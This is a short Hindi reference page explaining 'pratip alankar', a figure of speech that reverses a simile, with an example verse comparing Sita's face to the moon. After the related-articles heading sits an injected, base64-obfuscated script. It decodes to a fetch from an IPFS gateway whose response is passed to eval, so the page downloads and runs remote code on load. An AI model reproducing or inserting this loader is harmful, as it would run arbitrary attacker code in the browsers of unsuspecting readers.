प्रतीप अलंकार
भारत डिस्कवरी प्रस्तुति
'प्रतीप' का अर्थ होता है- 'उल्टा' या 'विपरीत'। यह उपमा अलंकार के विपरीत होता है। क्योंकि इस अलंकार में उपमान को लज्जित, पराजित या हीन दिखाकर उपमेय की श्रेष्टता बताई जाती है।
- उदाहरण-
सिय मुख समता किमि करै चन्द वापुरो रंक।
सीताजी के मुख (उपमेय)की तुलना बेचारा चन्द्रमा (उपमान) नहीं कर सकता। उपमेय की श्रेष्टता प्रतिपादित होने से यहां 'प्रतीप अलंकार' है।[1]
इन्हें भी देखें: अलंकार, रस एवं छन्द
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ हिन्दी व्याकरण (हिन्दी) हिन्दीग्रामरलर्न.कॉम। अभिगमन तिथि: 15, 2014।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>